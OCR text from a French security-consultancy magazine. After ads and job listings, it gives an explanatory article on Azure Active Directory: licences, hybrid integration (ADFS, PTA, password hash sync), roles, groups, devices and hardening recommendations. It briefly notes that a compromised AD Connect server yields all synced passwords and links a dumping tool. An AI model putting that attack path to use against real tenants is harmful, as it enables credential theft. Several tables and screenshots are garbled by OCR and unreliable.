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Vous étes concerné
par la sécurité informatique
de votre entreprise ?

XMCO est un cabinet de conseil dont le métier est
I'audit en sécurité informatique.

Fondé en 2002 par des experts en sécurité et dirigé par ses

Xl I I CO fondateurs, les consultants du cabinet XMCO n'interviennent que
we deliver security expertise since 2002 sous forme de projets forfaitaires avec engagement de résultats.
Les tests d'intrusion, les audits de sécurité, la veille en

vulnérabilité constituent les axes majeurs de développement de
/ notre cabinet.

Parallélement, nous intervenons auprés de directions générales

dans le cadre de missions d'accompagnement de RSSI, d'éla-

boration de schéma directeur ou encore de séminaires de sensi-
bilisation aupres de plusieurs grands comptes francais.

Pour contacter le cabinet XMCO et découvrir nos prestations :
https://www.xmco.fr

Test d’intrusion
Audit de sécurité
Certification PCI DSS

Cert-XMCO' - Veille en vulnérabilités Yuno

Cert-XMCO' - Serenety

Cert-XMCO' - Réponse a intrusion
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Testez gratuitement
pendant 14 jours

notre service de

Veille en vulnérabilités

XMCO

er security expertise since 2002

TEST GRATUIT O

Testez gratuitement pendant 14 jours notre
service de Veille en vulnérabilités et bénéficiez :

FLASHEZ
OU CLIQUEZ!

B D'un service de veille professionnel bilingue
(francais, anglais).

B D'un suivi des vulnérabilités et des correctifs
de sécurité.

B De l'analyse quotidienne par nos consultants
d’informations issues de centaines de sources.

B D’alertes, concernant vos logiciels, organisées FLASHEZ LE QR CODE
selon vos périmeétres. ET PROFITEZ DU TEST GRATUIT!
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https://leportail.xmco.fr/watch/subscribe_to_test
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([ )] Nous recrutons !

Indépendamment d’une solide expérience dans la sécurité informatique, les candidats devront faire
preuve de sérieuses qualités relationnelles, d'un esprit de synthese et d'une capacité a rédiger des do-
cuments de qualité. XMCO recherche avant tout des consultants équilibrés, passionnés par leur métier
ainsi que par bien d’autres domaines que l'informatique.

Tous nos postes sont basés a Paris centre, dans nos locaux du 8éme arrondissement.

Retrouvez toutes nos annonces a I'adresse suivante :
https://www.xmco.fr/societe/recrutement/

Offres d'emploi et stages

COMMERCE

Afin de développer les offres de notre cabinet, nous recherchons un profil commercial capable
de développer la vente de nos offres / produits / services.

Business Developer

AUDIT

Le pole Audit adresse tous les audits techniques du cabinet : tests d'intrusion, audit de code, Red-
Team, campagnes de phishing, audit d'infrastructure et de configuration.

Nous recherchons des profils techniques passionnés par l'intrusion et le conseil.

Consultants/Pentesteurs juniors et confirmés

CERT-XMCO

Le CERT-XMCO est le CSIRT de la société XMCO en charge de réaliser la veille pour nos clients,
de gérer et développer notre service CTl de Cybersurveillance Serenety et de la réponse aux
incidents.

Nous recherchons des profils intéressés par la sécurité défensive.

Responsable RIS (Réponse aux Incidents)
Analyste Threat-Intelligence

Analyste Forensics

Consultants sécurité juniors et confirmés

Stage sécurité défensive (4éme et 5éme année)
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Offres d'emploi et stages

GRC (Gouvernance, Risques et Conformité)

Le pole GRC adresse toutes les prestations relatives a la sécurité organisationnelle : accompagne-
ment et audit de certification PCI DSS, analyse de risques, audits basés sur '1SO27001.

Nous recherchons des profils expérimentés (+3 ans) avec une appétence pour la technique.
Consultants confirmés PCI DSS QSA

Consultants confirmés audits organisationnels

DEVELOPPEMENT

Notre équipe Développement est en charge de spécifier et développer les outils, services et por-
tails utilisés par les consultants et les clients du cabinet.

Développeur back Python

INFRASTRUCTURE

Notre équipe Infra est en charge de maintenir et développer nos infrastructures utilisées dans le
cadre de tous les services délivrés par le cabinet.

Administrateur Ingénieur Systéme
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Comprendre l'architecture et la sécurité d'Azure Active Directory

Dans la continuité de nos articles sur les environnements cloud (voir les deux derniers Actusécu et sur AWS), nous
passons cette fois-ci a I'autre mastodonte en pleine expansion : Azure de Microsoft.

Cet article vous permettra de comprendre les termes utilisés, les architectures et les notions de sécurité nécessaires pour
démarrer avec ce type d'infrastructure, bien différente des environnements Microsoft classiques on premise.

Par Bastien CACACE

Partie 1 - Introduction a Azure AD

> Introduction

L'histoire d’Azure commence en octobre 2008 lors de la Professional Developers Conference a Los Angeles. Steve Ballmer,
le PDG de Microsoft de I'époque, annonce le projet Windows Azure. Celui-ci représente la nouvelle plateforme « dans le
nuage » (cloud) de Microsoft, une infrastructure informatique entiérement externalisée hébergée dans des datacenters in-
terconnectés par Internet et répartis aux quatre coins du monde.

L'annonce marque un véritable tournant dans la stratégie de l'entreprise, I'idée étant d'aller concurrencer le poids lourd du
secteur : Amazon. Microsoft annonce immédiatement une liste de services qu'il compte mettre a disposition : stockage (SQL
Services), un moteur d’exécution d'application .Net (.Net Services), des services de publication et de partage (Sharepoint
Services), mais aussi un CRM (Dynamic), des outils de synchronisation, du datamining, etc.

Faisant suite a cette conférence, une version béta du service est mise a disposition gratuitement en novembre 2008 puis en
février 2010, la plate-forme devient payante en version définitive dans 21 pays, dont la France. En 2014, le projet est renom-
mé « Microsoft Azure ».

Depuis quelques années, le service Microsoft Azure est de plus en plus utilisé par les entreprises et grappille des parts de
marché au leader AWS. Fin 2019, il était le deuxieme mondial en tant que fournisseur d'infrastructure cloud (laaS).
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Plus récemment, la firme de Richmond a annoncé que sa suite Office 365 a terminé le premier trimestre 2020 avec 45,3 mil-
lions d’abonnés, soit une hausse de 27 % par rapport a I'année précédente[1].

Lorsqu'on évoque Azure, il est important de distinguer deux parties :
la partie Azure Active Directory / Office 365 et la partie ressource
Azure (ARM [2]). >

Azure Active Directory et Office 365 sont indissociables :

Azure AD
Office 365 représente les services cloud de produits Microsoft tels
que Word, Excel, PowerPoint, OneDrive ou Teams. Lors d'une souscrip-
tion a Office 365, Microsoft crée automatiquement un Azure Active
Directory (Azure AD) pour gérer les utilisateurs et leurs licences. Azure
AD est a la fois un annuaire dans le cloud de Microsoft et un service
d'authentification. Il peut a la fois étre utilisé par les services externes ARM Offica 365
d’une organisation (Office 365, applications en mode Saas$, etc.), mais
également par les services internes.

Azure Resource Manager (ARM) est le service de déploiement et de gestion des ressources proposé par Azure. Aujourd’hui,
Microsoft propose des centaines de services. La majorité des solutions utilisées par les entreprises sont proposées par la
plateforme de Microsoft.

Voici quelques exemples de services par catégorie :

e Calcul : machines virtuelles Windows ou Linux, services de conteneurs et orchestrateurs, batch, etc.
« Stockage : partage de fichier, disques managés, queue, etc.

« Réseau: Réseau virtuel, VPN, répartiteur de charge, CDN, etc.

«  Web : App Service, gestion d’API, fonction de recherche, etc.

o Basededonnées : Azure SQL, PostgreSQL, CosmosDB, etc.

« Analyse de données : Power B, Analyse de logs, etc.

Azure AD est également utilisé pour gérer les services et ressources. La liste des services proposés est disponible ici: https://
azure.microsoft.com/fr-fr/services/

Le sujet global Azure est donc trés vaste et en perpétuelle évolution. Azure AD est une partie transverse que nous avons
choisi de traiter dans cet article. La partie ARM ne sera donc pas détaillée. Apres avoir présenté succinctement l'architecture
Azure et ses licences, nous vous proposons de présenter la brique Azure AD, ses composants et sa gestion des accés. Enfin,
nous évoquerons l'audit d’'un Azure AD.

RX: tout au long de cet article, vous trouverez ces encadrés qui proposent nos recommandations spéci-

fiques au sujet évoqué dans le paragraphe précédent.

Note : Au sein de cet article, les notions d’Active Directory on premise ou local font référence a I'Active Directory interne de
Microsoft, mis en place dans la majorité des systémes d'information des entreprises.
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> Architecture et licensing

Architecture et composants

L'architecture Azure est composée d'une multitude de composants. Afin de bien comprendre les différentes parties de I'ar-
ticle qui vont suivre, nous allons décrire brievement les composants essentiels.

Voici ci-dessous un schéma qui décrit une infrastructure Azure trés simplifiée d'une entreprise.
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Schéma simplifié d'architecture Azure

Abonnement B

Entreprise

Lorsqu’une société ouvre un compte sur Azure, un identifiant unique est créé et permet a l'entreprise d'accéder aux diffé-
rents abonnements.

Tenant

Un tenant est une instance d'Azure attribuée a l'entreprise qui peut posséder plusieurs tenants. Une société ayant des
branches d’activité différentes peut par exemple disposer d'un tenant par activité. Par défaut, les tenants sont indépendants
les uns des autres.

Abonnements

Les abonnements permettent de gérer les services et les ressources Azure. La facturation est appliquée en fonction du type
d'abonnement. Chaque abonnement est lié a une instance d’Azure Active Directory permettant de gérer I'authentification
des utilisateurs, services et équipements. Les services Office 365 utilisent un systéeme de licences qui sera détaillé en partie
IIl. Afin de séparer les co(its entre les activités de production et de développement, les entreprises peuvent créer plusieurs
abonnements dans un méme tenant.
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Azure Active Directory

Azure AD est I'Active Directory d’Azure qui permet I'authentification des comptes, services et appareils. Bien qu'il ait le méme
nom que I'Active Directory dit on premise, il est trés différent sur beaucoup d’aspects sur lesquels nous reviendrons plus tard
dans cet article.

Groupes de ressources et ressources

Les groupes de ressources sont des conteneurs de ressources permettant de faciliter leur gestion. Les ressources sont des
services Azure tels que des machines virtuelles, des interfaces réseau, des réseaux virtuels, des comptes de service, etc.
Celles-ci ne seront pas abordées dans cet article.

Les licences Azure AD/Office 365

Azure AD/Office 365 se décline en une multitude de plans de licences. lls sont en permanente évolution et il est difficile de
s'y retrouver lorsqu’on administre un tenant. Les fonctionnalités de sécurité proposées par Microsoft dépendent principale-
ment de votre niveau de licence et il est courant qu’une recommandation de sécurité ne soit pas applicable pour cause de
niveau de licence insuffisant.

Organisation

Une organisation représente votre entité (entreprise, administration, etc.) qui utilise I'environnement Azure. Il s'agit d'un
conteneur, identifié par un ou plusieurs noms de domaine. On parle également de tenant.

Abonnements

Un abonnement est un accord entre Microsoft et I'entité pour utiliser la plateforme ou les services Azure au travers de licence
ou de consommation de ressources. Les licences par utilisateur concernent les services Office 365 et Dynamics 365 (mode
SaaS) tandis que les services a la consommation sont les infrastructures (mode PaaS) mises a disposition par Microsoft (Ma-
chines virtuelles, base de données, etc.).

Les entités peuvent souscrire a différents abonnements pour différents besoins.

Licences

Les licences permettent a un utilisateur d’utiliser un service. L'utilisateur doit étre stocké au sein d’Azure Active Directory.
Lorsqu’une entreprise achéte 500 licences E5 et 200 licences E3, 500 collaborateurs peuvent bénéficier des services proposés
par la licence E5 et 200 personnes pour les licences E3.

Voici ci-dessous la liste des licences Microsoft 365 et Office 365 pour les entreprises. Microsoft 365 est un package incluant
Office 365, Windows 10 Professionnel et une plateforme de gestion de sécurité et mobilité (EMS).

La licence Enterprise E5 étant la plus fournie, mais également la plus chére, elle est destinée principalement aux grandes
entreprises.

. Microsoft 365 Business Basic ;

«  Microsoft 365 Apps for business ;

«  Microsoft 365 Business Standard ;

«  Office 365 Entreprise E1;

«  Office 365 Entreprise E3 ;

«  Office 365 Entreprise E5 ;

«  Office 365 Entreprise F1;

«  Office 365 Entreprise F3.

A noter que certaines fonctionnalités de sécurité comme Office 365 Data Loss Prevention ne seront proposées qu’aux li-
cences E3 et E5. Les licences sont également modulaires et peuvent étre configurées sur mesure. Microsoft compare ses
licences a I'adresse suivante : https://www.microsoft.com/fr-fr/microsoft-365/compare-microsoft-365-enterprise-plans

Pour la brique Azure Active Directory, il existe 4 types de licences :
«  QGratuit;

«  Azure Active Directory Basic pour Office 365 ;

«  Azure Active Directory Premium Plan 1 (AAD P1) ;

«  Azure Active Directory Premium Plan 2 (AAD P2).

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite. l Xm CO]


https://www.microsoft.com/fr-fr/microsoft-365/compare-microsoft-365-enterprise-plans

Une matrice des fonctionnalités de sécurité en fonction des licences est disponible a I'adresse suivante : https://azure.mi-
crosoft.com/fr-fr/pricing/details/active-directory/. Voici un apercu de la disponibilité de fonctionnalités de sécurité intéres-
santes:

. - . Applications
Fonctionnalités Gratuit Office 365 AAD P1 AAD P2
MFA v v
Gestion des utilisateurs et des appareils V V

Mots de passe interdits personnalisés

Réinitialisation, modification et déverrouil-
lage de mot de passe en libre-service

Gestion avancée des groupes (délégation,
classification, etc.)

NASAYANANAY

Accés conditionnels

Détection de vulnérabilités et des comptes a
risques

Recherche de risque dans les événements

Gouvernance des identités

A RSN AN AN RS AN AN AN

Il est donc important de souligner qu'en dessous de I'offre AAD Premium 1, une partie des recommandations de sécurité ne
seront pas applicables.

Note : depuis la date de I'écriture de I'article, il est fort possible que les licences aient déja évolué.
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> Azure AD et son intégration
Azure Active Directory est le service de gestion des identités et des accés d’Azure (IAM). Ce composant permet de gérer des
identités et des accés pour les applications hébergées et exécutées dans le Cloud Azure, mais aussi celles hébergées dans

les Sl on premise.

Le service est multi-tenant et est déployé dans 30 datacenters Microsoft, la firme de Richmond indiquant en décembre 2019
[3] gérer 250 millions d'utilisateurs actifs et 30 milliards de requétes d'authentification par jour.

Bien que le nom soit identique a I'’Active Directory on premise que I'on connait depuis Windows 2000 Server, il est différent
sur tous les points et n'a pas vocation a remplacer un AD on premise.

Le tableau ci-dessous compare les deux AD :

Azure AD AD on premise
SAML 2.0
. . OpenlID Connect NTLM
A er el OAuth 2.0 Kerberos
WS-Federation
Protocole d'interrogation AD Graph API (API REST) LDAP
Utilisateurs
- Groupes
Objets gérés g:gﬁaz”rs GPO
P Ordinateurs
Etc.
Périmetre Multi-tenant Forét et domaine
GPO

Aelnllil ST Roles prédéfinis Granularité des permissions ACL

Infogéré par Microsoft Oui Non

Un comparatif est également disponible sur le site de Microsoft a I'adresse suivante : https://docs.microsoft.com/en-us/
azure/active-directory/fundamentals/active-directory-compare-azure-ad-to-ad

Azure AD n'est donc pas un Active Directory on premise dans le cloud, mais uniquement une interface de gestion des identi-
tés et des permissions IAM qui s'administre notamment au travers du portail Azure : https://portal.azure.com. C'est le service
d’authentification pour Office 365, les ressources Azure (machines virtuelles, bases de données, etc.) ainsi que pour tous les
composants ou les applications SaaS qui seront intégrés avec.

Connect e
Sy & signon)

/ Azure AD
@ _.__________-- S-lgnn:n

Active Directory
On-premises User D\Ewt&

IOther |dentlt'|r
(partners Iil \\ - ] Office 365

Interaction d’Azure AD avec les différents composants
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Interaction et intégration

Il existe 4 facons d'interagir avec Azure AD :

« Le portail Azure : I'interface web ou l'on peut administrer I'Azure AD, mais également les ressources Azure.

o Les modules Powershell : les modules Powershell sont des clients pour les appels aux API.

o Azure CLI:interface en ligne de commande Azure qui sert a créer et a gérer des ressources Azure. Celle-ci est disponible
sur Linux, MacOs et Windows.

e LesAPI:
- Azure AD Graph : dédiée a Azure AD. Cependant, celle-ci n'est plus supportée par Microsoft qui conseille d'utiliser
Microsoft Graph.

- Microsoft Graph : dédiée a toutes les ressources Azure dont Azure AD
- Exchange : dédiée aux données Exchange, mais celle-ci n'est également plus supportée au profil de Microsoft Graph.

Le portail Azure utilise par ailleurs une version de I'’APl interne Azure AD Graph qui fournit plus d'informations non documen-

tées (ex.: données sur les accés conditionnels). C'est entre autres sur cette version d’API que le chercheur Dirk-jan Mollema a

développé son framework ROADTools [4].
c & portal.azure.com/#home

£ Rechercher dans les ressources, services et documents (G+/)

Bienvenue dans Azure !

Vous n'avez pas d'abonnement ? Consultez les options sulvantes.

¥,

Commencer par un essai gratuit d'Azure

' »

Gérer Asure Active Directory Accéder aux avantages des étudiants

Bénéficiez de logiciels gratuits, de crédit Azure ou d'un
accés a Azure Dev Tools for Teaching aprés avoir vérifié
votre statut scolaire.

Obtenez 200 USD de crédit gratuit sur les produits et
services Azure, plus 12 mois de services gratuits
populaires.

En savoir plus & s e m En saveir plus o
Le portail Azure

Gérez |'accés, définissez des stratégies intelligentes et
améliorez la sécurité avec Azure Active Directory.

Lorsqu’une entreprise souhaite faire intégrer son Active Directory on premise avec les applications Azure telles qu'Office 365,
il existe trois méthodes d'intégration :

. Lafédération d’identité (ADFS - Active Directory Federation Services) ;

«  L'authentification directe (PTA - Pass-through Authentication) ;

«  Lasynchronisation des condensats (hashes) des mots de passe (PHS - Password Hash Synchronization).

Cette intégration repose sur le composant Azure AD Connect qui permet de faire la liaison entre un Active Directory on

premise et un Azure Active Directory dans le cloud de Microsoft. Nous allons présenter succinctement les trois méthodes
d’intégration.
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La fédération d’identité (ADFS)

Initialement, I'ADFS était le seul moyen proposé pour faire la liaison entre Azure et son Active Directory on premise. Cette
solution consiste a déployer un cluster ADFS au sein de votre infrastructure on premise qui réalisera I'authentification. C'est
également une solution qui tend aujourd’hui a disparaitre au profil de PHS, car elle est plus complexe a mettre en place et a
maintenir. Néanmoins, elle permet de ne pas partager les secrets d'authentification avec Microsoft.

Internet

) Office 365

Azure

Utilisateur externe ™ - - - - - - - Utilisateur externe

Réseau interne

Utilisateur interne

Serveur Fédération

A

o,
Serveur AD Connect Contréleur de domaine
Active Directory

Schéma simplifié d'une architecture d'un déploiement d’Azure avec ADES

o R e R R )

« Lorsqu’une entreprise souhaite faire intégrer son Active Directory on premise avec les applica-
tions Azure telles qu’Office 365, il existe trois méthodes d’'intégration : la fédération d'identité,
I'authentification directe, la synchronisation des condensats... »

L'ADFS est une solution qui est encore bien implantée dans les entreprises pour des raisons historiques ou parce que l'en-
treprise utilise divers fournisseurs cloud (G Suite, AWS, etc.) et I'ADFS permet de tous les fédérer. Cependant, beaucoup
d'entreprises préferent aujourd’hui converger vers les solutions PTA ou PHS pour la simplicité qu'elles offrent en termes de
maintenance. Lors de nos derniers audits, PHS était la méthode la plus utilisée chez nos clients.
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L'authentification directe (PTA)

L'authentification directe connecte les utilisateurs aux applications Azure/Office 365 ou internes en validant I'authentifica-
tion au travers de I'Active Directory on premise. Les identifiants des utilisateurs externes seront vérifiés sur I'Active Directory
local avant d'autoriser a accéder a la ressource cloud. Cette solution est proche de 'ADFS, mais tres allégée. En effet, contrai-
rement a I'’ADFS qui nécessite a minima (pour la redondance) deux serveurs proxys, deux serveurs ADFS et un répartiteur de
charge, PTA nécessite uniquement I'agent AD Connect installé sur un serveur qui communique directement avec Azure AD
pour les demandes d’authentification. Microsoft recommande tout de méme trois agents sur trois serveurs différents pour
maintenir une qualité de service optimale. Lorsque la firme de Richmond a dévoilé la solution PTA en 2017, beaucoup de
personnes ont annoncé la mort de LADFS.
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Schéma simplifié d'une architecture PTA

L'authentification directe peut étre effectivement tres intéressante surtout lorsque I'entreprise utilise uniquement des ser-
vices Cloud Microsoft.
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La synchronisation des condensats (PHS)

Cette solution est baptisée PHS (Password Hash Synchronisation), car I'agent AD Connect transmet les condensats de
condensats des mots de passe de I'Active Directory on premise vers Azure AD (SHA256). Lors de I'authentification d’un utili-
sateur externe, Azure AD est ensuite en mesure de vérifier directement le mot de passe sans faire transiter le flux dans le SI
de l'entreprise. Cette solution a I'avantage de permettre aux utilisateurs de continuer a travailler sur les applications externes
si I'Active Directory on premise n'est pas joignable (panne, coupure réseau, etc.).

i 1 Request unicodePWD via MS-DRSR
2 UnicodePWD (MD4) 7. SHA256 has sent to Azure AD
Azure Active

Windows Server 2016 Directory
Domain Controller

Azure AD Connect Server

3. Password sync agent decrypts MD5
envelope to retrieve MD4 hash
4. 8-byte binary hash is converted to 64-

byte binary.
5. 10-byte salt added
6. 64-bit hash is input into SHA256.

D 8. User signs into Azure AD. If their

hashed password matches the stored

. I | D password then the user is authenticated.

User Devices

Fonctionnement de la synchronisation des mots de passe [5]

Microsoft explique en détail le fonctionnement de la synchronisation des mots de passe a I'adresse suivante : https://docs.
microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization

Note : Les secrets stockés dans Azure AD (condensats de condensats de mots de passe) ne peuvent pas étre utilisés pour ac-
céder aux ressources de 'Active Directory local. En effet, la fameuse attaque du Pass The Hash n'est pas possible directement
avec ces secrets.

La méthode PHS est de plus en plus utilisée, car elle est plus simple a mettre en place pour bénéficier du meilleur des deux
Active Directory. Pour mettre en place ce mode d'intégration, il est nécessaire d'installer un agent baptisé Azure AD Connect
sur un serveur membre du domaine on premise qui est responsable de la synchronisation des comptes de votre AD Local et
de votre AD Azure.

Note : Les condensats de mots de passe des utilisateurs d’Azure AD ne sont pas accessibles par les clients Azure, a l'inverse
des condensats contenus dans la base de données NTDS d’un Active Directory on premise. Il n'est donc pas possible de me-
ner un audit des mots de passe depuis un extrait de la base d’Azure AD.

« La méthode PHS est de plus en plus utilisée, car elle est plus simple a mettre en place
pour bénéficier du meilleur des deux Active Directory »

Le composant AD Connect, hébergé sur un serveur interne et responsable de cette synchronisation, est a protéger autant
qu’un contréleur de domaine. En cas de compromission, un attaquant sera en mesure de récupérer I'ensemble des mots de
passe des utilisateurs synchronisés. Des outils comme celui développé par la société Fox-IT permettent de le faire : https://
github.com/fox-it/adconnectdump

1 : Administrer les serveurs qui hébergent le composant AD Connect uniquement par les administra-

teurs de domaine. Ces serveurs sont extrémement sensibles et sont a placer dans le tiers 0 au c6té des
contréleurs de domaine.
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Lorsque la synchronisation est effective, trois types de sources d'identité seront disponibles dans Azure AD :
Comptes locaux qui sont connus uniquement de votre AD on premise ;

Comptes synchronisés qui sont des comptes locaux répliqués dans Azure AD ;
Comptes cloud (Azure Active Directory / Cloud) qui sont des comptes créés dans I'Azure AD et inconnu de I'AD local.
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=1 1fr Member Compte local « On Premise » | Windows Server AD
sn. fr Member Compte cloud Azure Active Directory

Affichage des sources d'identité dans le portail Azure

Les sources d'identité sont également similaires pour les appareils :
Les appareils joints a Azure Active Directory qui appartiennent a une organisation et qui sont connectés a celle-ci au
travers d'un compte Azure AD. Ces derniers n'existent pas sur I'AD local, mais uniquement dans le cloud.
Les appareils synchronisés qui existent sur I'AD local et dans le cloud.
Les appareils inscrits sur Azure AD. Ce sont généralement des terminaux personnels avec un compte Microsoft.
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Les appareils synchronisés peuvent étre gérés par SCCM et GPO, mais également par Intune [6], le MDM de Microsoft.
Nous reviendrons sur les sources d'identité et les appareils dans la partie 2 de I'article.

Voici un tableau récapitulatif des trois méthodes d'intégration Azure AD / AD local pour I'accés aux applications reposant sur
Azure AD/Office 365.

Authentification externe gérée par I'AD local

Authentification saisie sur I'AD local

Stockage des mots de passe chez Microsoft

Configuration avancée des services fédérés

Résilience lors d'une panne du SI

Administration simplifiée
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Sécurité et Azure Active Directory

Apres avoir abordé les bases et l'intégration d'Azure AD, intéressons-nous aux aspects sécurité : les roles, les ressources et
comment les auditer...

Par Bastien CACACE

Partie 2 - Les bases de la sécurité d'Azure AD
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> Les principaux Azure AD

Principaux

Les principaux (principals) dans Azure AD peuvent étre assimilés a des objets et sont les suivants :
« Les utilisateurs : les collaborateurs de I'entreprise qui utilise Office 365 ou d'autres services ;
o Les appareils : les postes de travail ou appareils mobiles avec lesquels les utilisateurs se connectent a Azure AD ;

o Les applications : les applications Azure (tout composant est une application).

20

‘ XM CO] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Types d'utilisateur et sources

Les utilisateurs de votre Azure Active Directory sont des membres ou des invités.

La propriété “UserType” permet de les distinguer :

Membre : désigne un employé de votre organisation ;
Invité : désigne un utilisateur externe a votre organisation tel qu’'un prestataire ou un client.

Par défaut, les invités ont des droits limités tels que :

00000 oOgogooDogooao

Voir son profil et ses informations ;

Modifier son mot de passe ;

Lire les propriétés des applications entreprises enregistrées ;
Chercher un autre utilisateur par son identifiant (objectID) si autorisé ;
Inviter d'autres utilisateurs.

Nom Mom d'utilisateur Type d'utilisateur Source
o Member Azure Active Directory
. Member Azure Active Directory
o Member Windows Server AD
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Invited user
Guest Microsoft Account
@ Member Windows Server AD
Guest External Azure Active Directory

Affichage des types d'utilisateurs et des sources dans Azure AD

La liste des privileges par défaut des comptes utilisateurs est disponible sur le site de Microsoft a I'adresse suivante : https://
docs.microsoft.com/en-us/azure/active-directory/fundamentals/users-default-permissions

Les invités ne peuvent donc rien modifier et n‘ont pas accés a I'annuaire complet. Néanmoins, des roéles d’administration
peuvent étre attribués aux comptes invités, élevant ainsi leurs privileges.

R2 : Bloquer les envois d'invitations par les comptes invités afin de limiter le nombre d'utilisateurs invités

dans I'Active Directory.

La propriété source indique le mode de connexion de l'utilisateur :

Utilisateur invité : L'utilisateur a été invité, mais n'a pas encore utilisé cette invitation;

Externe : L'utilisateur appartient a une autre organisation (un autre Azure AD) ;

Compte Microsoft : I'utilisateur est externe a votre organisation, mais s'authentifie avec un compte Microsoft et non un
autre Active Directory ;

Windows Server Active Directory : I'utilisateur s'est connecté depuis I’Active Directory on premise de l'organisation ;
Azure Active Directory : |'utilisateur s'authentifie a partir d’'un compte Azure AD de l'organisation.
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Partie 2 - Azure AD et sécurité

Les roles

Les utilisateurs de I’Azure Active Directory se distinguent au niveau de leurs rdles :

o Les utilisateurs standard : aucun privilege d’administration. lls représentent la majorité des utilisateurs de votre entre-
prise ;

« Les administrateurs généraux : les administrateurs de toutes les fonctionnalités d’Office 365 et d’Azure AD. En faisant
un paralléle avec les AD on premise, ce sont les administrateurs du domaine (le collaborateur qui a enregistré le tenant
Azure est par défaut administrateur général) ;

o Les administrateurs limités : les administrateurs spécifiques assignés a certaines taches précises. Ex. : administrateur
de facturation qui gére les abonnements et les tickets de supports ;

« Administrateur de service : les administrateurs de services ou de solutions Azure/Office 365. Ex. : I'administrateur Ex-
change gére les boites mails et la politique anti-spam tandis que I'administrateur SharePoint gere le stockage de fichiers
de SharePoint Online.

Azure. Les roles Azure AD sont dédiés a la gestion de I'Active Directory
telle que la gestion des utilisateurs, des mots de passe ou des applica-
tions dont Office 365.

Il est important de bien distinguer ici les réles Azure AD et les roles >

Azure AD

Quant aux roles Azure, ils permettent de gérer les acces aux ressources
Azure (cf. introduction de I'article) comme les ressources de calcul et
de stockage. Par exemple, le réle contributeur de machines virtuelles
permet aux utilisateurs de créer et gérer des machines virtuelles. Les
roles Azure ne seront pas abordés dans cet article.
Azure Office 365

Note : Par défaut, 'administrateur général dans Azure AD n'a pas acces
aux ressources Azure. Cependant, celui-ci peut avoir accés en élevant

ses privileges depuis le portail Azure. Réles Azure Rélas Azure AD

Périmetre des roéles Azure AD et Azure

Voici les réles Azure AD les plus communs :

Catégorie d'utilisateurs Réle d’administration commun

Administrateurs généraux Administrateur général
Administrateur de mot de passe
Administrateur d'utilisateurs
Compte de synchronisation d’annuaires
Administrateur de groupes
Administrateur du support de service
Administrateurs limités
Lecteur de I'annuaire
Administrateur du service Sharepoint
Administrateur d'application cloud

Administrateur de licence

Administrateur de facturation
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Catégorie d'utilisateurs Réle d’administration commun

Administrateur du service Teams

Administrateur du service Exchange
Administrateur de service Administrateur du service CRM

Administrateur Skype for Business

Administrateur Sharepoint

Une liste détaillée des permissions en fonctions des roles est disponible sur le site de Microsoft a I'adresse suivante :
https://docs.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=0365-worldwide

R3 : Appliquer en priorité I'authentification multi-facteurs (cf. partie V) sur les comptes ayant des réles
d'administration.

R4 : Les comptes administrateurs généraux doivent étre en nombre trés limité (inférieur a 5). Le principe
du moindre privilege doit étre systématiquement appliqué.

Note : Depuis 2019, Microsoft a créé un role Lecteur Général (Global reader). Ce role est trés intéressant pour les audits, car il
permet d’avoir acces a l'ensemble de I'Azure AD/Office 365 en lecture seule, sans risque de modifications accidentelles.

Les groupes

Les groupes Azure AD permettent de gérer plus facilement les droits d’accés aux différentes ressources telles que les appli-
cations, les licences ou les roles.

Les assignations des utilisateurs peuvent étre les suivantes :

« Directe: Le propriétaire de la ressource assigne directement I'utilisateur a la ressource ;

« Groupée: Le propriétaire de la ressource assigne un groupe Azure AD a la ressource ;

o Basée sur des régles : Le propriétaire de la ressource crée un groupe et utilise une regle pour définir quels sont les
utilisateurs assignés a une ressource spécifique. Exemple : Tous les utilisateurs dont I'adresse email contient “-admin@”
sont dans le groupe administrateur.

Note : La gestion des groupes avancée est accessible uniquement au travers de la licence Azure Active Directory P2. Par ail-
leurs, les groupes de votre Active Directory on premise ne peuvent pas étre gérés depuis Azure AD.

Les appareils

Azure AD intégre également la gestion des identités des appareils des utilisateurs. Les appareils peuvent étre inscrits, joints,
ou hybrides Azure AD. Lobjectif de la gestion de l'identité des appareils est de renforcer l'authentification en utilisant les
accés conditionnels (cf. chapitre Gestion des acces). Comme vu précédemment, le controle d'accés au travers des appareils
nécessite a minima une licence Azure AD Premium P1.

L'ajout d'appareil a Azure AD est possible en libre-service ou par un administrateur qui a le contréle sur le processus d'enré6-
lement.

Les appareils inscrits
Il s'agit généralement d’appareils mobiles personnels connectés a un compte Microsoft personnel (BYOD) ou a un autre

compte local. Les systemes supportés sont actuellement Windows 10, iOS, Android et MacOS et les acces conditionnels ne
peuvent sappliquer sur ce type d'appareil.
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Partie 2 - Azure AD et sécurité

Les appareils joints

Il sagit d’appareils qui appartiennent a une organisation et qui sont connectés avec un compte Azure AD. Ces derniers sont
donc uniquement définis dans Azure AD et peuvent étre gérés avec un logiciel de gestion de flottes (MDM).
Les systemes actuellement supportés sont Windows 10 et les machines virtuelles sous Windows Server 2019.

Les appareils hybrides

Un appareil hybride Azure AD est simplement un appareil qui est joint a un domaine on premise et qui est enregistré dans
Azure AD avec un compte utilisateur. Les appareils hybrides peuvent étre gérés par SCCM ou par GPO, mais également par
un MDM. Les systemes actuellement supportés sont Windows 7, 8.1 et 10 ainsi que toutes les versions de Windows Server a
partir de Windows Server 2008.

|
R5 : Renforcer I'authentification en exigeant que I'appareil soit conforme pour accéder aux applications.
Offre minimum requise : AD Premium P2.

N
_f )
P I AN

You can use the activity timestamp to efficiently manage stale devices in your environment. Learn more o

‘ 2 Search by name or device ID or object ID +7 Add filters
Name Enabled os Version Join Type Owmner MDM Compliant
D Ol DESKTOP-RODBR30 @ Yes Windows 10.0.18362.0 Azure AD registered MNaone None /A
D 8 winDevzoogeval O Yes Windows 10.0.19041.508 Azure AD registered None MNfA
[0 O oeskror-ee66TOU © Yes Windows 10.0.18362.0 Azure AD registered None NfA
[J G pesktor-08TK7AG © Yes Windows 10.0.18362.0 Azure AD registerad None N/
D CH DESKTOP-EMIRATA @ Yes Windows 10.0.18363.0 Azure AD registered None N/
D Ol DESKTOP-KBPZFSC @ Yes Windows 10.0.17763.0 Azure AD registered None NiA
D Ol mseEDGEWINTO O Yes Windows 10.0.17763.0 Azure AD registered None N
